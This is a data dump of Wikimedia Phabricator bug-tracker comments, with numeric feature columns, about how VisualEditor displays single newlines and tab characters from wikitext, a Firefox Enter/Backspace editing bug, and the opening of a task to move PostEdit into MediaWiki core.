This is about how to represent the reader-invisible nonsense wikitext single new line. See T50290#499295 for details; nothing's changed here since May 2013.",,,1425062104,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,86,,1.0,0.0,1.0,2.0,0.0,11.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.8333333333333335,0.6354166666666666,"QUOTE
QUOTE
QUOTE
QUOTE

Yes, you're entirely missing the point here.

* Actual reader-visible new paragraphs (from two new lines after each other in wikitext) are shown as new paragraphs.
* Actual reader-visible line breaks (from a <br /> tag) are shown as line breaks.

This is about how to represent the reader-invisible nonsense wikitext single new line. See T50290#499295 for details; nothing's changed here since May 2013."
418405,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Unless I'm misunderstanding Whatamidoing, I think they mean that we copy
line breaks in as actual linebreaks, so that reading and editing look the
same and no one actually sees that carriage return symbol ever.



*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation

M +1 415 609 4043 \\ @jaredzimmerman <http://loo.ms/g0>",,,1425061938,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,2.0,3.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,20.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,6.0,12.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,4.34375,0.875,"Unless I'm misunderstanding Whatamidoing, I think they mean that we copy
line breaks in as actual linebreaks, so that reading and editing look the
same and no one actually sees that carriage return symbol ever.



*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation

M +1 415 609 4043 \\SCREEN_NAME <URL"
418401,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",">>! In T50290#1074123, @Whatamidoing-WMF wrote:
> I like the idea of showing it as a line break.  This might make more sense to less-technical people that have just copy-pasted text out of another document (one of the apparent causes) than the insertion of an unexpected symbol.

I'm not a fan of making VE less like the reading experience, though.",,,1425061657,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,86,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,3.45,0.95,"QUOTE
QUOTE

I'm not a fan of making VE less like the reading experience, though."
418400,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",I like the idea of showing it as a line break.  This might make more sense to less-technical people that have just copy-pasted text out of another document (one of the apparent causes) than the insertion of an unexpected symbol.,,,1425061578,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,4.0,0.0,0.0,3.857142857142857,0.8571428571428571,I like the idea of showing it as a line break.  This might make more sense to less-technical people that have just copy-pasted text out of another document (one of the apparent causes) than the insertion of an unexpected symbol.
214658,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 57454 has been marked as a duplicate of this bug. ***,,,1415882814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57454 has been marked as a duplicate of this bug. ***
214653,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 68811 has been marked as a duplicate of this bug. ***,,,1406754254,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 68811 has been marked as a duplicate of this bug. ***
214649,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 65324 has been marked as a duplicate of this bug. ***,,,1401419217,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65324 has been marked as a duplicate of this bug. ***
214642,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Indeed not WYSIWYG, but I happen to love this feature. I practically always remove these links when I see them. I'd say WONTFIX.",,,1400608205,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,14.0,0.0,18.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,25.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,18.0,4.0,7.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.8214285714285714,"Indeed not WYSIWYG, but I happen to love this feature. I practically always remove these links when I see them. I'd say WONTFIX."
214634,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 50641 has been marked as a duplicate of this bug. ***,,,1394482866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50641 has been marked as a duplicate of this bug. ***
214626,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 61569 has been marked as a duplicate of this bug. ***,,,1393537023,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61569 has been marked as a duplicate of this bug. ***
214622,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","(In reply to comment #2)
> Newline characters are more debatable, because some people use them to make
> wikicode more readable.

...and I remmember some people use them to make diffs more readable[citation needed].",,,1372607697,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,2,False,,,-1,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.689655172413793,0.896551724137931,"(In reply to comment #2)
QUOTE
QUOTE

...and I remmember some people use them to make diffs more readable[citation needed]."
214618,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Example of TAB characters:
http://en.wikipedia.org/wiki/Refrigerator#Production_by_country",,,1368684670,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,"Example of TAB characters:
URL"
214613,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Same for TAB characters, which are shown as ➞

TAB characters have no meaning in wikicode, and I can't imagine anyone entering them for any purpose (plus they are difficult to enter in an HTML form).
I have never seen a case where they are intended (please point me to any example if I am mistaken).

I personally think TABs are a case where silent stripping would be acceptable.

---

Newline characters are more debatable, because some people use them to make wikicode more readable.",,,1368684616,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,False,,,-7,,2.5,0.5,0.0,1.5,0.5,8.5,4.5,1.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,4.0,0.0,5.5,7.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,8.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,3.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,11.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.5,1.5,0.0,0.0,2.0,6.0,7.0,3.5,1.0,5.5,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,7.0,7.5,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.5,0.5,2.0,0.0,0.0,3.980392156862745,0.8333333333333333,"Same for TAB characters, which are shown as ➞

TAB characters have no meaning in wikicode, and I can't imagine anyone entering them for any purpose (plus they are difficult to enter in an HTML form).
I have never seen a case where they are intended (please point me to any example if I am mistaken).

I personally think TABs are a case where silent stripping would be acceptable.

---

Newline characters are more debatable, because some people use them to make wikicode more readable."
214608,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","(In reply to comment #0)
> Single newlines have no effect on the way a wiki page is displayed.
> So they should be ignored in a WYSIWYG editor.
> 
> Example: Third line at
> http://en.wikipedia.org/wiki/
> Content_Management_Interoperability_Services#Specification_progress_.
> 26_TC_members

Yeah, this is a bit of a mess. In wikitext (except in some circumstances like <pre>s), \n is a whitespace character, rendered as either a space or as nothing depending on the things around it, but \n\n is ""</p><p>"".

We could:

* Silently strip non-conformant wikitext syntax like this on ingest, but this would mean that VisualEditor would not play well with other, wikitext-based users.

* Show the newline as a line break in VisualEditor - in a way that (a) doesn't look like a new paragraph/context has started, and (b) doesn't look like <br />s will look, either, and in some way conveys the fact that it's different.

* (Current behaviour) Show the newline as a special kind of character in VisualEditor - in a way that (a) doesn't look like a 'real' new line, because it isn't.

* Silently not show the new line as such (but instead as… a space?), which is prone to having users accidentally alter them without intention, again causing problems for intermixed VisualEditor and wikitext editor sessions.

What are your thoughts?",,,1368110457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,True,,,-8,,0.6666666666666666,0.0,0.0,0.0,2.0,5.0,1.3333333333333333,0.3333333333333333,0.0,0.0,5.333333333333333,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,12.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,4.333333333333333,1.3333333333333333,1.0,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,13.333333333333334,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.666666666666667,2.0,7.333333333333333,2.0,2.6666666666666665,7.666666666666667,0.0,0.0,0.0,0.3333333333333333,4.0,0.3333333333333333,0.3333333333333333,0.0,2.0,12.333333333333334,5.0,0.6666666666666666,1.3333333333333333,0.0,2.0,0.0,0.6666666666666666,4.0,0.3333333333333333,1.0,0.0,0.0,3.0,3.5394897248345525,0.6832985022640194,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, this is a bit of a mess. In wikitext (except in some circumstances like <pre>s), \n is a whitespace character, rendered as either a space or as nothing depending on the things around it, but \n\n is ""</p><p>"".

We could:

* Silently strip non-conformant wikitext syntax like this on ingest, but this would mean that VisualEditor would not play well with other, wikitext-based users.

* Show the newline as a line break in VisualEditor - in a way that (a) doesn't look like a new paragraph/context has started, and (b) doesn't look like <br />s will look, either, and in some way conveys the fact that it's different.

* (Current behaviour) Show the newline as a special kind of character in VisualEditor - in a way that (a) doesn't look like a 'real' new line, because it isn't.

* Silently not show the new line as such (but instead as… a space?), which is prone to having users accidentally alter them without intention, again causing problems for intermixed VisualEditor and wikitext editor sessions.

What are your thoughts?"
50284,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Backspace"" 2 times.

Expected: as original
Actually: The newlines remain

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368089280,1370445778.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-2f2dgqt54eqesg4exgwo,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,5.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.526315789473684,0.5614035087719298,"Go to URL
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Backspace"" 2 times.

Expected: as original
Actually: The newlines remain

--------------------------
**Version**: unspecified
**Severity**: normal"
214285,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox",This is now fixed in live.,,,1370445778,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This is now fixed in live.
214280,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","Just reproduced on Firefox 21.0 / fresh install of Ubuntu Linux 2013.04
Nothing special appears in the web console.",,,1369662058,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Just reproduced on Firefox 21.0 / fresh install of Ubuntu Linux 2013.04
Nothing special appears in the web console."
214275,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox",Browser information highly welcome. Reopening for the time being.,,,1369661193,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.181818181818182,0.9090909090909091,Browser information highly welcome. Reopening for the time being.
214270,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","When will the master fixes be deployed?
The situation is now horrible in production, with so many bugs that I am wondering whether it is even worth reporting them...",,,1369635503,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-5,,3.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,9.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,4.181818181818182,0.9696969696969697,"When will the master fixes be deployed?
The situation is now horrible in production, with so many bugs that I am wondering whether it is even worth reporting them..."
214264,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","I just tried, it is a worse problem now, text is lost.",,,1369277166,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,2.8666666666666667,0.8666666666666667,"I just tried, it is a worse problem now, text is lost."
214256,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","**orbit** wrote:

I'm not able to reproduce this one either. I experience other problems relating to Enter and Backspace on Firefox (fixed in Master) but not what you've described. I'm going to close this ticket, but please reopen if you have additional information.",,,1369260407,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,9.0,10.0,7.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8793103448275863,0.7586206896551724,"**orbit** wrote:

I'm not able to reproduce this one either. I experience other problems relating to Enter and Backspace on Firefox (fixed in Master) but not what you've described. I'm going to close this ticket, but please reopen if you have additional information."
50276,PostEdit: Core-ify this,"As discussed with Steven W. just now, we should move this into MW core (so, amongst other things, VisualEditor can depend on it and not have to re-invent the wheel).

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
